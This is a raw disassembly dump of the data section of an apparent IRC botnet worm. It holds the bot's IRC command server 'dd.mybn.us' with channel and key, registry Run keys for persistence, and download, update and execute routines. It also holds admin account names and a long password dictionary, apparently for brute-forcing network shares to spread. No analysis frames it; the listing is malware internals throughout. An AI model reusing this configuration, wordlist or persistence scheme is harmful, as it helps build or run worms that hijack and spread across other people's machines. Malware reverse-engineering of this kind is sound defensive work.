					; DATA XREF: seg000:0040BBEEo
		dd 2029206Ch, 2BBBB02h,	6F532020h, 74656B63h, 72726520h
		dd 2E726Fh
dword_42BB28	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B9F0o
		dd 2029206Ch, 2BBBB02h
aTransferComple	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42BB7C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B8F8o
		dd 2029206Ch, 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42BBB4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B8C1o
		dd 2029206Ch, 2BBBB02h,	65532020h, 7420646Eh, 6F656D69h
		dd 2E7475h
dword_42BBE0	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: seg000:0040B860o
		dd 169h
dword_42BBF8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B81Do
		dd 2029206Ch, 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42BC2C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B778o
		dd 2029206Ch, 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42BC64	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040B73Ao
		dd 2029206Ch, 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42BC9C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BC67o
		dd 2029206Ch, 2BBBB02h
aTransferComp_0	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 4
dword_42BCF4	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BB63o
		dd 2029206Ch, 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42BD28	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BB43o
		dd 2029206Ch, 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: seg000:0040BB2Fo
dword_42BD6C	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040BB1Bo
		dd 2029206Ch, 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42BDB0	db    2			; DATA XREF: seg000:0040C166o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 10h
unk_42BDF0	db    2			; DATA XREF: seg000:0040C158o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42BE3C	db    2			; DATA XREF: seg000:0040C09Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 10h
dword_42BE90	dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
					; DATA XREF: seg000:0040C02Bo
		dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h,	656E6570h
		dd 25203A64h, 2E73h
aOpen		db 'open',0             ; DATA XREF: seg000:0040C009o
					; seg000:0040F870o ...
		align 4
unk_42BEC8	db    2			; DATA XREF: seg000:0040BFB4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 4
unk_42BF14	db    2			; DATA XREF: seg000:0040BF35o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 10h
unk_42BF50	db    2			; DATA XREF: seg000:0040BEABo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42BF98	db    2			; DATA XREF: seg000:0040BE68o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42BFDC	db    2			; DATA XREF: seg000:0040BE56o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42C028	db    2			; DATA XREF: seg000:0040BD4Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40C27B:loc_40C2BEo
					; sub_41360D+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40C27B:loc_40C2B8o
aDisk		db 'Disk',0             ; DATA XREF: sub_40C27B:loc_40C2B2o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40C27B:loc_40C2ACo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40C27B:loc_40C2A6o
		align 4
aRam		db 'RAM',0              ; DATA XREF: sub_40C27B:loc_40C2A0o
aFailed		db 'failed',0           ; DATA XREF: sub_40C30C:loc_40C3E4o
					; sub_40C427+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_40C30C+6Bo
		align 10h
dword_42C0A0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C427+8Eo
		dd 2029206Ch, 2BBBB02h
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 10h
dword_42C0F0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40C427+58o
		dd 2029206Ch, 2BBBB02h
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
		align 10h
aA_0		db 'A:\',0              ; DATA XREF: sub_40C4F9:loc_40C53Eo
		dd 1A0Ch, 1A0Bh
dword_42C14C	dd 1AA6h	dword_42C150	dd 0CCEh	dword_42C154	dd 158Dh						; seg000:loc_411D96r
dword_42C158	dd 1		dword_42C15C	dd 1		dword_42C160	dd 1		byte_42C164	db 78h			; DATA XREF: seg000:loc_40C1D1r
					; seg000:0040D92Fr ...
		align 4
dword_42C168	dd 9							; sub_4140AE+51r ...
dword_42C16C	dd 1							; seg000:0040D0B5r ...
aIds443		db 'ids443',0           ; DATA XREF: seg000:0040C6CDo
					; seg000:00410B46o ...
		align 4
aEnz9_9b34	db 'enz 9.9b34',0       ; DATA XREF: seg000:loc_412845o
		align 4
aHi		db 'hi',0               ; DATA XREF: seg000:004129C8o
					; seg000:00412A97o
		align 4
aDd_mybn_us	db 'dd.mybn.us',0
		align 4
aDd		db '#dd',0
aDpass		db 'dpass',0
		align 10h
aDd_mybn_us_0	db 'dd.mybn.us',0
		align 4
aDd_0		db '#dd',0
aDpass_0	db 'dpass',0
		align 4
aTilesoft_com	db 'Tilesoft.com',0     ; DATA XREF: sub_40283D+84o
					; sub_403178+Fo ...
		align 4
aTilesoft_dll	db 'Tilesoft.dll',0     ; DATA XREF: seg000:00402157o
		align 4
aTopicSoft	db 'Topic Soft',0       ; DATA XREF: sub_40B392+Eo
		align 4
aSf_0		db 'SF-',0              ; DATA XREF: sub_4140AE+12o
aTilesoft_com_0	db 'Tilesoft.com',0
		align 4
aXI		db '+x+i',0             ; DATA XREF: seg000:00412B10o
		align 10h
aSf1		db '#sf1',0             ; DATA XREF: seg000:loc_40FF88o
					; seg000:00411B0Ao ...
		align 4
aSs		db '#ss',0              ; DATA XREF: seg000:0040EBF4o
aSs_0		db '#ss',0              ; DATA XREF: seg000:0040EA3Do
a78001		db '78001',0            ; DATA XREF: sub_40283D+9Ao
		align 4
aSf		db 'sf',0               ; DATA XREF: sub_40283D+95o
		align 4
aSf_		db 'sf.',0              ; DATA XREF: sub_40283D+90o
off_42C220	dd offset a@room	; DATA XREF: seg000:loc_412A24o
					; "*@room"
off_42C224	dd offset aMirc1_6_99	; DATA XREF: seg000:0040D6FFr
					; seg000:00412A40o
					; "mirc	1.6.99"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:004146C8o
					; sub_4149C4+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:00414774o
					; sub_4149C4+D4o
		align 10h
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 8
off_42C328	dd offset byte_438F9C	; DATA XREF: sub_404F08:loc_404FA1r
					; sub_404F08+A6o
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_432C24	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
